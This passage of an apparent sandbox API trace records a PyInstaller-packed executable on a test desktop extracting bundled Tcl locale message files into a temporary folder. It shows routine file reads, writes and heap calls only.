GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.541] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.542] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.542] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.542] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.542] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.542] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.542] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.542] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.542] CloseHandle (hObject=0x10c) returned 1 [0037.542] GetLastError () returned 0x0 [0037.542] SetLastError (dwErrCode=0x0) [0037.542] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.542] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.542] GetFileType (hFile=0x10c) returned 0x1 [0037.542] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.542] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.542] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.542] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.542] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.542] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.542] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.542] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.542] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.542] CloseHandle (hObject=0x10c) returned 1 [0037.543] GetLastError () returned 0x0 [0037.543] SetLastError (dwErrCode=0x0) [0037.543] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kl_gl.msg") returned 64 [0037.543] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kl_gl.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\kl_gl.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.543] GetLastError () returned 0x2 [0037.543] SetLastError (dwErrCode=0x2) [0037.543] GetLastError () returned 0x2 [0037.543] SetLastError (dwErrCode=0x2) [0037.543] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kl_gl.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kl_gl.msg", lpFilePart=0x0) returned 0x3f [0037.543] GetLastError () returned 0x2 [0037.543] SetLastError (dwErrCode=0x2) [0037.543] GetLastError () returned 0x2 [0037.543] SetLastError (dwErrCode=0x2) [0037.543] GetLastError () returned 0x2 [0037.543] SetLastError (dwErrCode=0x2) [0037.543] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kl_gl.msg") returned 64 [0037.543] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.543] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kl_gl.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\kl_gl.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.544] GetFileType (hFile=0x10c) returned 0x1 [0037.544] htonl (hostlong=0x17010000) returned 0x117 [0037.544] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.544] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x117, lpOverlapped=0x0) returned 1 [0037.545] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.545] CloseHandle (hObject=0x10c) returned 1 [0037.546] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.546] htonl (hostlong=0x30000000) returned 0x30 [0037.546] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.546] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.546] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.546] GetFileType (hFile=0x10c) returned 0x1 [0037.546] htonl (hostlong=0x247a5700) returned 0x577a24 [0037.546] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c2a24, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.546] htonl (hostlong=0x82010000) returned 0x182 [0037.546] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x182) returned 0x550600 [0037.546] htonl (hostlong=0x82010000) returned 0x182 [0037.546] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.546] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.546] htonl (hostlong=0x1e060000) returned 0x61e [0037.546] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x61e) returned 0x55e278 [0037.546] htonl (hostlong=0x82010000) returned 0x182 [0037.546] htonl (hostlong=0x1e060000) returned 0x61e [0037.546] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.546] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.546] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.546] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.546] CloseHandle (hObject=0x10c) returned 1 [0037.546] GetLastError () returned 0x0 [0037.546] SetLastError (dwErrCode=0x0) [0037.547] GetLastError () returned 0x0 [0037.547] SetLastError (dwErrCode=0x0) [0037.547] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.547] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.547] GetFileType (hFile=0x10c) returned 0x1 [0037.547] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.547] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.547] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.547] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.547] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.547] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.547] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.547] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.547] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.547] CloseHandle (hObject=0x10c) returned 1 [0037.547] GetLastError () returned 0x0 [0037.547] SetLastError (dwErrCode=0x0) [0037.547] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.547] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.547] GetFileType (hFile=0x10c) returned 0x1 [0037.547] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.547] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.547] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.547] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.548] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.548] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.548] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.548] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.548] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.548] CloseHandle (hObject=0x10c) returned 1 [0037.550] GetLastError () returned 0x0 [0037.550] SetLastError (dwErrCode=0x0) [0037.550] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ko.msg") returned 61 [0037.550] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ko.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ko.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.550] GetLastError () returned 0x2 [0037.550] SetLastError (dwErrCode=0x2) [0037.550] GetLastError () returned 0x2 [0037.550] SetLastError (dwErrCode=0x2) [0037.550] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ko.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ko.msg", lpFilePart=0x0) returned 0x3c [0037.550] GetLastError () returned 0x2 [0037.550] SetLastError (dwErrCode=0x2) [0037.550] GetLastError () returned 0x2 [0037.550] SetLastError (dwErrCode=0x2) [0037.550] GetLastError () returned 0x2 [0037.550] SetLastError (dwErrCode=0x2) [0037.550] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ko.msg") returned 61 [0037.550] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.550] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ko.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ko.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.550] GetFileType (hFile=0x10c) returned 0x1 [0037.551] htonl (hostlong=0x1e060000) returned 0x61e [0037.551] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.551] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x61e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x61e, lpOverlapped=0x0) returned 1 [0037.552] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.552] CloseHandle (hObject=0x10c) returned 1 [0037.552] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.552] htonl (hostlong=0x30000000) returned 0x30 [0037.552] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.552] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.552] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.552] GetFileType (hFile=0x10c) returned 0x1 [0037.553] htonl (hostlong=0xa67b5700) returned 0x577ba6 [0037.553] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c2ba6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.553] htonl (hostlong=0xbe000000) returned 0xbe [0037.553] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbe) returned 0x55cfe0 [0037.553] htonl (hostlong=0xbe000000) returned 0xbe [0037.553] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.553] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.553] htonl (hostlong=0x5a010000) returned 0x15a [0037.553] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x15a) returned 0x550600 [0037.553] htonl (hostlong=0xbe000000) returned 0xbe [0037.553] htonl (hostlong=0x5a010000) returned 0x15a [0037.553] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.553] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.553] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.553] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.553] CloseHandle (hObject=0x10c) returned 1 [0037.553] GetLastError () returned 0x0 [0037.553] SetLastError (dwErrCode=0x0) [0037.553] GetLastError () returned 0x0 [0037.553] SetLastError (dwErrCode=0x0) [0037.553] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.553] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.553] GetFileType (hFile=0x10c) returned 0x1 [0037.553] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.553] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.553] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.554] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.554] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.554] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.554] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.554] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.554] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.554] CloseHandle (hObject=0x10c) returned 1 [0037.554] GetLastError () returned 0x0 [0037.554] SetLastError (dwErrCode=0x0) [0037.554] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.554] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.554] GetFileType (hFile=0x10c) returned 0x1 [0037.554] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.554] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.554] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.554] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.554] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.554] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.554] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.554] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.554] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.554] CloseHandle (hObject=0x10c) returned 1 [0037.554] GetLastError () returned 0x0 [0037.554] SetLastError (dwErrCode=0x0) [0037.554] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ko_kr.msg") returned 64 [0037.555] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ko_kr.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ko_kr.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.555] GetLastError () returned 0x2 [0037.555] SetLastError (dwErrCode=0x2) [0037.555] GetLastError () returned 0x2 [0037.555] SetLastError (dwErrCode=0x2) [0037.555] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ko_kr.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ko_kr.msg", lpFilePart=0x0) returned 0x3f [0037.555] GetLastError () returned 0x2 [0037.555] SetLastError (dwErrCode=0x2) [0037.555] GetLastError () returned 0x2 [0037.555] SetLastError (dwErrCode=0x2) [0037.555] GetLastError () returned 0x2 [0037.555] SetLastError (dwErrCode=0x2) [0037.555] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ko_kr.msg") returned 64 [0037.555] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.555] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ko_kr.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ko_kr.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, 